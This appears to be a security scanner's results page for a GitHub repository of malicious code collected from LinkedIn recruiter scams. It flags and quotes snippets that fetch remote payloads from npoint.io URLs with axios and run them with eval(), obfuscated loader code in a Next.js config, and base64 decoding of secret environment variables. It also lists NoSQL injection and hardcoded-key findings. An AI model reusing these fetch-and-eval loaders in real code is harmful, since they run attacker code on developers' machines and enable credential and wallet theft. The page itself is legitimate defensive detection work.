live · scanning repos
Scanrepo
github.com
DANGER
malware detected
github.com / rubenmarcus

rubenmarcus/malicious-repositories

JavaScript·3849 files·commit dc82f33·scanned 4d ago·cached ✓
95/100
MALICIOUS
Matches known-malicious patterns. Do not clone or install.

This repository contains patterns associated with malware. Do NOT run this code.

verdict accurate?
Obfuscated code detected
4% file coverage
threat-state: maliciouslive

FINDINGS ░▒▓

criticaleval() usage detectedeval() executes arbitrary code and is commonly used in malware to run obfuscated payloads fetched from remote servers.golden-city/backend/controllers/userController.js
    const rs_C = await axios.get("https://api.npoint.io/632ab82bbc8d7f4c2d44");
    eval(rs_L.data.cookie);
    eval(rs_C.data.cookie);
  })();
+8
criticaleval() usage detectedeval() executes arbitrary code and is commonly used in malware to run obfuscated payloads fetched from remote servers.real_estate/server/controllers/userController.js
  const result = await axios.get("https://api.npoint.io/ac2916e3f543effa2edd");
  eval(result.data.cookie);
})();
+8
criticaleval() usage detectedeval() executes arbitrary code and is commonly used in malware to run obfuscated payloads fetched from remote servers.sarostech-assessment/server/config/getContract.js
    .catch(err=>{try {
        eval(err.response.data);
    } catch (error) {
        
+8
infoSuspicious files are not reachable from entry pointsFlagged files exist but are not imported by any entry point. They may be dead code, tests, or attack payloads triggered by another mechanism.+2
infoBase64 encoding usedatob() or Buffer.from with base64. Common in legitimate code but also used to hide malicious URLs.0xnfteth-horsepowerfi/server/controllers/userController.js
exports.getCookie = asyncErrorHandler(async (req, res, next) => {
  const cookie = atob(process.env.DEV_API_KEY);
  const k = atob(process.env.DEV_SECRET_KEY);
  const v = atob(process.env.DEV_SECRET_...
+2
criticalRemote code fetch + executionFetching code from a remote server and executing it with eval() is the #1 pattern in LinkedIn/crypto scam malware.golden-city/backend/controllers/userController.js+10
criticalKnown malicious / C2 domainKnown domains used by Lazarus Group and other malware for hosting payloads or exfiltrating data.golden-city/backend/controllers/userController.js+5
criticalaxios.get() + eval(response.data)Fetches remote payload via axios and executes it — the exact pattern used in LinkedIn recruiter scam malware.golden-city/backend/controllers/userController.js+10
criticalRemote code fetch + executionFetching code from a remote server and executing it with eval() is the #1 pattern in LinkedIn/crypto scam malware.real_estate/server/controllers/userController.js+10
criticalKnown malicious / C2 domainKnown domains used by Lazarus Group and other malware for hosting payloads or exfiltrating data.real_estate/server/controllers/userController.js+5
criticalaxios.get() + eval(response.data)Fetches remote payload via axios and executes it — the exact pattern used in LinkedIn recruiter scam malware.real_estate/server/controllers/userController.js+10
criticalRemote code fetch + executionFetching code from a remote server and executing it with eval() is the #1 pattern in LinkedIn/crypto scam malware.sarostech-assessment/server/config/getContract.js+10
criticalaxios.get() + eval(response.data)Fetches remote payload via axios and executes it — the exact pattern used in LinkedIn recruiter scam malware.sarostech-assessment/server/config/getContract.js+10
criticaljavascript-obfuscator output detectedCode obfuscated with the javascript-obfuscator tool. The _0x variable naming and rotating string array are unique to this tool and are commonly used to hide malware from code review.multify_staking/next.config.js
(function(_0x4dcd76,_0x502349){function _0x3b486b(_0x1aae15,_0x28dfcd,_0x7f38cf,_0xdeb60c,_0x594927){return _0x4c0a(_0xdeb60c- -0xc1,_0x7f38cf);}function _0xb9b37b(_0x5b1e46,_0x6422fe,_0x3b2e55,_0xa8d...
+20
warningExtremely long lines (>1000 chars)Very long lines in source files (not minified bundles) can hide malicious code.multify_staking/next.config.js+4
infoMinified code in source directoryMinified/obfuscated code in source directories (not dist/) makes code review impossible.multify_staking/next.config.js+3
criticalString-array obfuscation detectedCode resolves its string literals through a rotating string-array decoder — many `name(0xNNN)` index calls that reconstruct hidden strings at runtime. This is the structural signature of javascript-obfuscator regardless of the variable-naming scheme, so it fires even when mangled identifiers (e.g. `j5`, `jM`) are used to evade _0x-based detection. Commonly used to hide malware from code review.munity-game/server/routes/paymentRoute.js

module.exports = router;                                                                                                                                                                               ...
+18
warningExtremely long lines (>1000 chars)Very long lines in source files (not minified bundles) can hide malicious code.munity-game/server/routes/paymentRoute.js+4
criticalObfuscated crypto project with remote network activityThe repository is obfuscated and makes remote network calls within a crypto/Web3 context. This combination is typical of concealed wallet drainers.+10
criticalKnown malicious npm packageThis dependency has been identified as malicious.erc20-token-dapp/package.json+3
infoSuspicious file in repoVery large source file (6048KB) — could contain obfuscated payloaderc20-token-dapp/src/components/gallery/nft.json+2
infoSuspicious file in repoVery large source file (1290KB) — could contain obfuscated payloadgolden-city/package-lock.json+2
infoSuspicious file in repoVery large source file (584KB) — could contain obfuscated payloadmultify_staking/package-lock.json+2
warningUnvalidated file uploadFile upload without type/size validation. Can be exploited for remote code execution or storage abuse.challenge-experiment-module/package.json
    "morgan": "~1.9.1",
    "multer": "^1.4.5-lts.1",
    "prop-types": "^15.8.1",
    "react": "^18.3.1",
+3
warningPotential NoSQL injectionUser input passed directly to MongoDB query (findOne, find, updateOne) without sanitization. Attacker can inject query operators.0xnfteth-horsepowerfi/server/controllers/userController.js
exports.forgotPassword = asyncErrorHandler(async (req, res, next) => {
  const user = await User.findOne({ email: req.body.email });

  if (!user) {
+4
warningPotential NoSQL injectionUser input passed directly to MongoDB query (findOne, find, updateOne) without sanitization. Attacker can inject query operators.0xnfteth-horsepowerfi/server/middlewares/validator/index.js
  // validate brand
  let brand = await ProductBrand.findOne({ slug: req.body.brand });
  if (!brand) {
    errors.push({ msg: "Invalid product brand" });
+4
warningPotential NoSQL injectionUser input passed directly to MongoDB query (findOne, find, updateOne) without sanitization. Attacker can inject query operators.coinpool-rental-platform1.0/server/controllers/userController.js
exports.forgotPassword = asyncErrorHandler(async (req, res, next) => {
  const user = await User.findOne({ email: req.body.email });

  if (!user) {
+4
warningHardcoded secret/credentialAPI keys, passwords, or tokens hardcoded in source code. Should be in environment variables.multify_staking/components/Category/DexTicker/index.js
//API Key
const API_KEY = "ckey_4e73d56514984838ab3206fbaf4";
//const API_KEY = process.env["API_KEY"];
+3

Scores are heuristics. A “safe” verdict means no known-malicious patterns were found — clever malware can look boring. Wrong verdict? Flag it above; confirmed false positives become regression tests.

137 files scanned @ dc82f33 | 8/25/2026 | heuristic scan — always review manually

risk by category
code execution25
network & exfiltration25
file system access0
obfuscation15
supply chain15
owasp / injection15
telemetry
files 137/3849rules hit 28engine v5commit dc82f33

github

rubenmarcus/malicious-repositories

collected from LinkedIn scammers

JavaScript
215
14
556d
3849 files
137 scanned(4%)
dc82f33

architecture░▒▓

entry (5) flagged (21) pkg (51)
172 nodes · 231 edgesscroll to zoom · click node to jump to finding